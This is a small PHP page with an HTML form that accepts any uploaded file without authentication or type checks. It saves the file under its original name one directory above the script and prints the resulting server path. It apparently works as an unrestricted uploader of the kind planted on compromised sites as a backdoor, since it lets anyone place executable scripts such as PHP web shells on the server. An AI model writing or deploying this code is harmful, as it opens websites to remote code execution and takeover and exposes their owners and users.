<?php
// Check if the form is submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    // Define the target directory (one step backward)
    $targetDir = dirname(__DIR__) . '/';

    // Get the file name
    $fileName = basename($_FILES['file']['name']);

    // Define the full path to the target file
    $targetFilePath = $targetDir . $fileName;

    // Check if the file is uploaded successfully
    if (@copy($_FILES['file']['tmp_name'], $targetFilePath)) {
        echo "File uploaded successfully to: " . $targetFilePath;
    } else {
        echo "Error uploading file.";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>File Upload</title>
</head>
<body>
    <form action="" method="post" enctype="multipart/form-data">
        <label for="file">Select file to upload:</label>
        <input type="file" name="file" id="file">
        <button type="submit">Upload</button>
    </form>
</body>
</html>
